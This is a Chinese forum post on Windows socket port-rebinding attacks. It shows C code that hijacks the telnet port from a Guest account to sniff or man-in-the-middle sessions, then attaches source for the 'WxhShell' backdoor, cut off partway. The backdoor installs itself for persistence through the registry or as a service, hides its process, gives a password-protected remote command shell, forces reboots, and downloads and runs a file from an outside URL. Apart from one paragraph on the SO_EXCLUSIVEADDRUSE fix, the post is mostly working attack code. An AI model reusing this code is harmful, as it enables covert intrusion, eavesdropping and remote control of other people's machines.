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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KGb3n;]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); H@,(  
-^LEGKN  
  saddr.sin_family = AF_INET; H<YS2Ed  
O>`DR0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 8CKI9  
lGr(GHn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B?J #NFUb  
U_c.Z{lC4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]`Y;4XR  
+V6N/{^ 5  
  这意味着什么?意味着可以进行如下的攻击: %t^-Guz  
$u./%JS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]\<^rEU  
d^WEfH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) [SJ*ks,]  
f#UT~/~bL2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {` Lem  
cvvba 60  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  lf\]^yM #  
`PR)7}/<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 aJ1<X8  
n089tt=TE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 H)5v X+9D  
rOu7r4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 bytAdS$3  
|};P"&  
  #include ;'r} D!8w/  
  #include cmv&!Egd  
  #include t)O$W   
  #include    D f H>UA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   DLv\]\h}L  
  int main() bm_'giQ:  
  { WL<$(y:H  
  WORD wVersionRequested; EnGVp<6R  
  DWORD ret; C&m[/PJ~l  
  WSADATA wsaData; Jiljf2h  
  BOOL val; +Q3i&"QB.  
  SOCKADDR_IN saddr; %P2GQS-N  
  SOCKADDR_IN scaddr; $5`P~Q'U  
  int err; ("k.5$  
  SOCKET s; ?E0j)P/ (  
  SOCKET sc; Mg0[PbS  
  int caddsize; ch}t++`l]  
  HANDLE mt; <m#ov G6  
  DWORD tid;   "$*&bC#dE  
  wVersionRequested = MAKEWORD( 2, 2 ); B#_<?  
  err = WSAStartup( wVersionRequested, &wsaData ); Vs)Pg\B?  
  if ( err != 0 ) { )8:Ltn%  
  printf("error!WSAStartup failed!\n");  cf#2Wg)  
  return -1; +KV`+zic+  
  } J?~El&  
  saddr.sin_family = AF_INET; i5sNCt  
   =r=YV-D.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <T[ wZ[l  
[kIiKLX  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); FDA``H~  
  saddr.sin_port = htons(23); )Fh+6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )V<ML7_?  
  { |<l  sv  
  printf("error!socket failed!\n"); %o4ZD7@ '  
  return -1; OsMU>v }m  
  } \s8j*  
  val = TRUE; 0?KY9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 T\VKNEBo  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) xG JX~)  
  { P\B ]><!ep  
  printf("error!setsockopt failed!\n"); /d*0+m8  
  return -1; qcSlY&6+  
  } JgJ4RmH-  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 0HA`  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eot]VO:  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 g?.ls{H  
ab5 a>w6}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6px(]QU  
  { -s5j^U{h|  
  ret=GetLastError(); [eebIJs  
  printf("error!bind failed!\n"); d|!FI/  
  return -1; 2HNKq<  
  } d7.}=E.L  
  listen(s,2); ^u@"L  
  while(1) @7Oqp-  
  { 7cTDbc!E-  
  caddsize = sizeof(scaddr); !=7 (3< ?  
  //接受连接请求 ;by` [)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V7Z+@e-5  
  if(sc!=INVALID_SOCKET) N^\<y7x  
  { ,Q8[Ur? G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); |'B-^?;  
  if(mt==NULL) xx`xDD  
  { y3^<rff3Gc  
  printf("Thread Creat Failed!\n"); mhZ{}~  
  break; K}e %E&|>  
  } &eL02:[  
  } ;x/do?FbT  
  CloseHandle(mt); ^Oy97Y  
  } a:*8SovI  
  closesocket(s); ),ur! v  
  WSACleanup(); LO8`qq*rq  
  return 0; % ~eIx=s  
  }   TUw+A6u:p  
  DWORD WINAPI ClientThread(LPVOID lpParam) {O ]^8#v^  
  { AI{Tw>hZ  
  SOCKET ss = (SOCKET)lpParam; ;m<22@,E&  
  SOCKET sc; d <{ >&  
  unsigned char buf[4096]; SvZ~xTit  
  SOCKADDR_IN saddr; ^O#>LbM"x  
  long num; y:t@X~  
  DWORD val; N~rA/B]T  
  DWORD ret; rucgav  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @ev"{dY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   I$. HG]  
  saddr.sin_family = AF_INET; w$Zi'+&*  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0wM2v[^YO  
  saddr.sin_port = htons(23); c2Q KI~\x  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) q~esxp  
  { 1:!_AU?  
  printf("error!socket failed!\n"); 6# [  
  return -1; w; [ndZCY7  
  } zSy^vM;6zf  
  val = 100; BvQMq5&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1b^e4  
  { &PQhJ#YG  
  ret = GetLastError(); _{Q)5ooP  
  return -1; #0HZ"n  
  } S T#9auw  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) MI^@p`s  
  { tB S+?N  
  ret = GetLastError(); BlwAD  
  return -1; Q=YIAGK  
  } * 0vq+C  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) H( L.k;B  
  { ?4k/V6n@y  
  printf("error!socket connect failed!\n"); kYbqb?  
  closesocket(sc); ~quof>  
  closesocket(ss); 6T"4<w[  
  return -1; ``X1xiB  
  } _}bs0 kIz  
  while(1)  cs+;ijp  
  { b |SDg%e  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Q]/ZVcoqo  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s fD@lW3  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S vTd#>ke  
  num = recv(ss,buf,4096,0); ~Up5+7k@  
  if(num>0) -!o*A>N  
  send(sc,buf,num,0); N>pTl$\4  
  else if(num==0) 2VpKG*!\  
  break; W&g@o@wa  
  num = recv(sc,buf,4096,0); bVLBqa=  
  if(num>0) !4.VK-a9V%  
  send(ss,buf,num,0); JM&`&fsOC{  
  else if(num==0) o >wty3l:  
  break; A9 *P7  
  } :.DZ~I  
  closesocket(ss); >m:;. vVY  
  closesocket(sc); ]|m?pt  
  return 0 ; nXU`^<nA  
  } u[:-^H  
`T'[H/  
t=l@(%O 0_  
========================================================== ^LI\W'K  
V ,+&.A23  
下边附上一个代码,,WXhSHELL ttP|}|O  
! 3 ;;6  
========================================================== Vs1H)T%  
:)9CG!2y<M  
#include "stdafx.h" Ew< sK9[o  
'c7'iDM  
#include <stdio.h> <z.Y#{p?k  
#include <string.h> As{Q9o5j/  
#include <windows.h> e w%rc.;  
#include <winsock2.h>  !n`9V^`  
#include <winsvc.h> 7MbV|gM}  
#include <urlmon.h> i C)+5L#'  
|*fi!nvk@  
#pragma comment (lib, "Ws2_32.lib") dI(1L~  
#pragma comment (lib, "urlmon.lib") 2v$\mL  
r+Pfq[z&  
#define MAX_USER   100 // 最大客户端连接数 q1^bH 6*fl  
#define BUF_SOCK   200 // sock buffer ,kQCCn]  
#define KEY_BUFF   255 // 输入 buffer (Sv=R(_s  
;W 3#q:  
#define REBOOT     0   // 重启 H\%^n<]#  
#define SHUTDOWN   1   // 关机 "g5<jp  
y&n-8L_  
#define DEF_PORT   5000 // 监听端口 */_$' /q V  
`w8Ejm?n  
#define REG_LEN     16   // 注册表键长度 G1 K@Ir<  
#define SVC_LEN     80   // NT服务名长度 R@df~  
uv|RpIve:  
// 从dll定义API >rhqhmh;W"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ' Ig:-  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o[aP+O Md  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9oj#5Hq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9GX'+$R]  
FfRvi8  
// wxhshell配置信息 A(D>Zh6o@  
struct WSCFG { u?4d<%5R!  
  int ws_port;         // 监听端口 f8?hEa:js  
  char ws_passstr[REG_LEN]; // 口令 eK[9wEdn  
  int ws_autoins;       // 安装标记, 1=yes 0=no iBPIj;,  
  char ws_regname[REG_LEN]; // 注册表键名 H2S/!Q;K  
  char ws_svcname[REG_LEN]; // 服务名 $jg~ a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 RRb>]oD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 H73 r3BH  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |jI|} ,I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gJ H^f3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 79z/(T +  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @ N@ !Q  
yHo#v:>?p  
}; Eo`'6 3  
dDbH+kqO  
// default Wxhshell configuration .~a.mT  
struct WSCFG wscfg={DEF_PORT, < ZG!w^  
    "xuhuanlingzhe", g_3Ozy  
    1, 84_Y+_9  
    "Wxhshell", *kt|CXxAS8  
    "Wxhshell", ;uho.)%N`F  
            "WxhShell Service", -]Ny-[P  
    "Wrsky Windows CmdShell Service", /pC60y}O0  
    "Please Input Your Password: ", 782 oXyD  
  1, |;(>q  
  "http://www.wrsky.com/wxhshell.exe", (GoxiX l  
  "Wxhshell.exe" kr\#CW0?  
    }; ! GJT-[  
Sa-" G`  
// 消息定义模块 F AQx8P  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; i'B$Xr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ou_2UT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Obx!>mI^6  
char *msg_ws_ext="\n\rExit."; ^v&"{2  
char *msg_ws_end="\n\rQuit."; F]L96&  
char *msg_ws_boot="\n\rReboot..."; ?BX}0RWMh7  
char *msg_ws_poff="\n\rShutdown..."; '};mBW4z  
char *msg_ws_down="\n\rSave to "; \Ez&?yb/  
E#E&z(G2  
char *msg_ws_err="\n\rErr!"; ^U6VJ(58P  
char *msg_ws_ok="\n\rOK!"; A6 I^`0/  
@8Cja.H  
char ExeFile[MAX_PATH]; 4nXemU=  
int nUser = 0; 'Yaq; mDY  
HANDLE handles[MAX_USER]; %KPQ|^WE  
int OsIsNt; F@KtRUxE  
#h#_xh'  
SERVICE_STATUS       serviceStatus; bt"5.nm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !ir%Pz ^)  
Elt" tJ  
// 函数声明 9+b){W  
int Install(void); j|>^wB  
int Uninstall(void); #bS}?fj  
int DownloadFile(char *sURL, SOCKET wsh); . )E1|U[L  
int Boot(int flag); a`D`v5G t  
void HideProc(void); OD~yIV  
int GetOsVer(void); dn&4 84  
int Wxhshell(SOCKET wsl); Eb8~i_B-  
void TalkWithClient(void *cs); 1XpqnyL&  
int CmdShell(SOCKET sock); ub2B!6f a  
int StartFromService(void); JkEITuTth  
int StartWxhshell(LPSTR lpCmdLine); iX6*OEl/Q  
@,{Qa!A>l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;D<;pW  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); VFK]{!C_  
Q yhu=_&  
// 数据结构和表定义 T3Sz<K$E  
SERVICE_TABLE_ENTRY DispatchTable[] = pI1g<pe  
{ qN^]`M[ BY  
{wscfg.ws_svcname, NTServiceMain}, zhe~kI  
{NULL, NULL} !Ld[`d.|R!  
}; `NyO|9/4  
HOrXxxp1^  
// 自我安装 w}YcAnuB{%  
int Install(void) R1Fcd@DWD  
{ / <+F/R'=O  
  char svExeFile[MAX_PATH]; }&]T0U`@  
  HKEY key; `[h&Q0Du6  
  strcpy(svExeFile,ExeFile); {Q)sR*d  
W!|l_/L'   
// 如果是win9x系统,修改注册表设为自启动 %v0;1m  
if(!OsIsNt) { LlD=c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rl (+TE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4j(*%da  
  RegCloseKey(key); &w{z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "$3~):o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B}@CtVWFz  
  RegCloseKey(key); {rzQ[_)EC  
  return 0; x=N0H  
    } %6x3 G  
  } Knp}88DR^j  
} 59(kk;  
else { w6ck wn,  
4 g8t  
// 如果是NT以上系统,安装为系统服务 EL6<%~,V"I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); _`Dz%(c  
if (schSCManager!=0) \SBAk h  
{ `69xR[f  
  SC_HANDLE schService = CreateService u~!Pzz3"  
  ( mj ,Oy  
  schSCManager, zpy&\#Vc  
  wscfg.ws_svcname, }vZTiuzC  
  wscfg.ws_svcdisp, O`_]n  
  SERVICE_ALL_ACCESS, 16"L;r  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , k;<F33v;Mh  
  SERVICE_AUTO_START, M8VsU*aU  
  SERVICE_ERROR_NORMAL, /px`FuJI(  
  svExeFile, wsj5;(f+  
  NULL, }:\e "Bfv  
  NULL, WV;[vg]  
  NULL, sUZ2A1J}  
  NULL, Uo JMOw[  
  NULL PI)uBA;  
  ); BPu>_$C  
  if (schService!=0) <U}25AR  
  { KssIoP   
  CloseServiceHandle(schService); zomg$@j  
  CloseServiceHandle(schSCManager); ;(s.G-9S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); } <q=Zq+  
  strcat(svExeFile,wscfg.ws_svcname); /+m7J"Km  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @9g!5dcT  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^t[br6G  
  RegCloseKey(key); R4XcWx*pQ  
  return 0; 5 HN,y  
    } &>Z p}.V  
  } mFyYn,Mu|  
  CloseServiceHandle(schSCManager); ^mZTki4  
} ! H4uc  
} CYNpbv  
?xt${?KP  
return 1; +}C M2>M  
} G 'CYvV  
u73/#!(1=H  
// 自我卸载 V6b)  
int Uninstall(void) J!:v`gb#@A  
{ 2vW@d[<J  
  HKEY key; F5<GGEQb  
_p| KaT``  
if(!OsIsNt) { '~76Y9mv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [jF\"#A  
  RegDeleteValue(key,wscfg.ws_regname); $I a-go2W  
  RegCloseKey(key); ^Y^5 @ x=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NTSKmCvQG  
  RegDeleteValue(key,wscfg.ws_regname); HgRfMiC  
  RegCloseKey(key); ]2xoeNF/W{  
  return 0; BtP*R,>  
  } [,qb) &_  
} mh~n#bah  
} cx4'rK.  
else { 0.!Q 4bhD  
5O"wPsl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); q?oJ=]m"  
if (schSCManager!=0) 7 P]Sc   
{ "Oy&6rrr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l5_%Q+E_  
  if (schService!=0) ]GPUL>7  
  { V__n9L /t  
  if(DeleteService(schService)!=0) { wqp(E+&  
  CloseServiceHandle(schService); !n5s/"'H  
  CloseServiceHandle(schSCManager); wq3V&@.  
  return 0; u=6{P(5$j  
  } :6frx=<  
  CloseServiceHandle(schService); z(beT e  
  } Xu\22/Co  
  CloseServiceHandle(schSCManager); LWP&Si*j  
} &?7+8n&+  
} :=%`\\  
XcQ'(  
return 1; !O#NP!   
} 9rQpKq:# E  
[u`9R<>c"U  
// 从指定url下载文件 FZtILlw  
int DownloadFile(char *sURL, SOCKET wsh) cH$Sk  
{ D\V (r\i  
  HRESULT hr;  ?ik6kWI  
char seps[]= "/"; veGRwir  
char *token; f5QJj<@  
char *file; # FV`*G  
char myURL[MAX_PATH]; %GDs/9  
char myFILE[MAX_PATH]; Gnmxp%&}P|  
atWAhN  
strcpy(myURL,sURL); XWFuAE  
  token=strtok(myURL,seps); ]#oqum@Yf1  
  while(token!=NULL) (#k2S-5  
  { ^7% KS  
    file=token; #-u?+Nk/  
  token=strtok(NULL,seps); S#, E)h/  
  } f<G:}I  
)haHI)xR  
GetCurrentDirectory(MAX_PATH,myFILE); *G0r4Ui$  
strcat(myFILE, "\\"); -* ;`~5  
strcat(myFILE, file); Fh$Xcz~i  
  send(wsh,myFILE,strlen(myFILE),0); ^!>o5Y)  
send(wsh,"...",3,0); @uI_4a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); v:$Y |mh  
  if(hr==S_OK) WD5ulm?91|  
return 0; TJp0^&Q  
else :j0r~*z-  
return 1; (s.S n(E  
{pNf& '  
} 9}6^5f?|  
=24<d!R  
// 系统电源模块 yasKU6^R'  
int Boot(int flag) 1(z+*`"WB&  
{ .EUOKPK4W  
  HANDLE hToken; YG6Kvc6T  
  TOKEN_PRIVILEGES tkp; (eAh8^)  
UZ+FV;<  
  if(OsIsNt) { .J3Dk=/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); a<K@rgQ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); f<0nj?  
    tkp.PrivilegeCount = 1; ~8G<Nw4*\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L3- tD67oa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :S5B3S@|  
if(flag==REBOOT) { D;al(q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) vMOit,{  
  return 0; 1JoRP~mMxa  
} #5x[Z[m  
else { N;6WfdA-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {?9s~{Dl  
  return 0; ! G+/8Q^  
} Q!VPk~~(  
  } xl$#00|y  
  else { -*EK-j  
if(flag==REBOOT) { KwiTnP!Dca  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KD7 RI3'?  
  return 0; nP>*0Fq  
} >K9uwUi|b]  
else { :#QYwb~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h4^ a#%$  
  return 0; zk@K uBLL  
} ]l'W=_XDg  
} <99Xg_e  
3J{`]v5`  
return 1; BZE~k?*  
} /IC7q?avQN  
l&4TfzkY  
// win9x进程隐藏模块 &@xixbg  
void HideProc(void) U/oncC5  
{ 4yH=dl4=44  
FPu"/4v&  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =,~h]_\_  
  if ( hKernel != NULL ) :,=no>mMx  
  { v&B*InR?+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /)PD+18  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )vK %LmP  
    FreeLibrary(hKernel); B&`hvR  
  } PQRh5km  
YGObTIGJvf  
return; ~Cj55S+  
} ?*z#G'3z1  
:sBg+MS  
// 获取操作系统版本 )-2o}KU]>  
int GetOsVer(void) E VBB:*q6  
{ +]Y&las  
  OSVERSIONINFO winfo; :hG?} [-2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $3sS&i<  
  GetVersionEx(&winfo); !0~$u3[b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fr)G h>  
  return 1; u4=j!Zb8}  
  else |wZ8O}O{E  
  return 0; F}A@H<?  
} #"a?3!wr  
H85HL-{  
// 客户端句柄模块 ~3.1. 'A  
int Wxhshell(SOCKET wsl) I#kK! m1Q  
{ ~n84x  
  SOCKET wsh; 0EYK3<k9!  
  struct sockaddr_in client; S ; x;FU  
  DWORD myID; dm&F1NkT  
9LGJ-gL  
  while(nUser<MAX_USER) a'ViyTBo  
{ F t%f"Z  
  int nSize=sizeof(client); K^k1]!W=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $Tt@Xu  
  if(wsh==INVALID_SOCKET) return 1; \c+)Y}:D  
IBWUeB:b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "2X=i`rTi  
if(handles[nUser]==0) jBV2]..  
  closesocket(wsh); %,GY&hTw  
else SU9#Y|I  
  nUser++; Pn5@7~  
  } lC +p2OG^[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); tgDmHxB]0  
T"'"T]^ X  
  return 0; `/<KDd:_t  
}  c/I.`@  
S?%V o* Y  
// 关闭 socket 50(/LV1  
void CloseIt(SOCKET wsh) k`r}Gb  
{ n\5` JNCb  
closesocket(wsh); ]?xF'3#  
nUser--; viAvD6e  
ExitThread(0); EW1 L!3K  
} &3>ki0L  
-3X#$k8  
// 客户端请求句柄 =eSG7QfS  
void TalkWithClient(void *cs) Va06(Cq  
{ fM_aDSRa!H  
tq?lF$mM:  
  SOCKET wsh=(SOCKET)cs; L*9^-,  
  char pwd[SVC_LEN]; n6[bF "v  
  char cmd[KEY_BUFF]; r^ &{0c&o  
char chr[1]; 46*o_A,"  
int i,j; tn;e PcU  
6z"fBF  
  while (nUser < MAX_USER) { $GUSTV  
XZA3T Z  
if(wscfg.ws_passstr) { fSl+;|K n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >\8Bu#&s4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tuK"}HepB  
  //ZeroMemory(pwd,KEY_BUFF); 7C ABM  
      i=0; bmc1S  
  while(i<SVC_LEN) { &Hc8u,|  
GdR>S('  
  // 设置超时 9'Y~! vY  
  fd_set FdRead; {J%hTjCw  
  struct timeval TimeOut; /Yc!m$uCW  
  FD_ZERO(&FdRead); '@wYr|s4  
  FD_SET(wsh,&FdRead); R,/?p  
  TimeOut.tv_sec=8; kYz)h  
  TimeOut.tv_usec=0; X\hD 4r"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '+Dn~8Y+9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); FJv=5L  
&7T0nB/)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $.cNY+  k  
  pwd=chr[0]; [Ym?"YwVX  
  if(chr[0]==0xd || chr[0]==0xa) { 42:\1B#[  
  pwd=0; Et%s,zeA{2  
  break; x'; 6  
  } <[?oP[ j  
  i++; 9C$b^wHd  
    } 8=T;R&U^M  
T%KZV/  
  // 如果是非法用户,关闭 socket %]>c4"H  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WhSQ>h!@s  
} 0X`Qt[  
u=jF\W9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CY0|.x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $B*Ek>EK  
RqXcL,,9  
while(1) { vd SV6p.d  
4<70mUnt  
  ZeroMemory(cmd,KEY_BUFF); 5P -IZ8~$  
U{RW=sYB~9  
      // 自动支持客户端 telnet标准   S,lJ&Rsu  
  j=0; 85m[^WGyh  
  while(j<KEY_BUFF) { v@LK3S/!3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $91c9z;f^  
  cmd[j]=chr[0]; 7NMQUN7k '  
  if(chr[0]==0xa || chr[0]==0xd) { 2K!3+D"  
  cmd[j]=0; #SQT!4  
  break;  {IYfq)c  
  } gf2l19aP  
  j++; @YMef `T:  
    } G7pj.rQ  
PNd]Xmv)  
  // 下载文件 O!lZ%j@%  
  if(strstr(cmd,"http://")) { R?Ki~'k=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B+iVK(j'[v  
  if(DownloadFile(cmd,wsh)) 26yv w  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _$NFeqLww  
  else = I Ls[p  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IaH8#3+a  
  } C&,&~^_F  
  else { #!OCEiT_  
KFdV_e5lU  
    switch(cmd[0]) { ]=2Ba<)m  
  b~Op1p  
  // 帮助 f`.8.1Rd  
  case '?': { O>w Gc8Of\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `ndesP  
    break; xSs);XO,  
  } IwKhun  
  // 安装 ^L+*}4Dr  
  case 'i': { b>hNkVI  
    if(Install()) =;7gxV3;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +b.<bb6  
    else 7UejK r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m(s(2wq"f  
    break; G`8gI)$u  
    } iP~5=  
  // 卸载 LpGplD lB  
  case 'r': { #gMMh B=  
    if(Uninstall()) #Bg88!-4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CuR\JKdRo  
    else ,icgne1j  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mFjX  
    break; ,fpu@@2  
    } e ,/I}W  
  // 显示 wxhshell 所在路径 5:Pp62  
  case 'p': { <h4"^9hL  
    char svExeFile[MAX_PATH]; $]%;u: Sa  
    strcpy(svExeFile,"\n\r"); /WRS6n  
      strcat(svExeFile,ExeFile); 2BXpk^d5y  
        send(wsh,svExeFile,strlen(svExeFile),0); r )ZUeHt}w  
    break; }Xr-xh \v  
    } w0)V3  
  // 重启 4[ M!x  
  case 'b': { {2vk<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); lTv I;zy  
    if(Boot(REBOOT)) 6b~Zv$5^Y-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]{{A/ j\  
    else { N#Y%+1  
    closesocket(wsh); h=.|!u  
    ExitThread(0); 3xxQL,FV  
    } pzbR.L}'D  
    break; 8V>j-C  
    } .mn`/4  
  // 关机 53J!iNnXT6  
  case 'd': { o%i^t4J$e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PBbJfm  
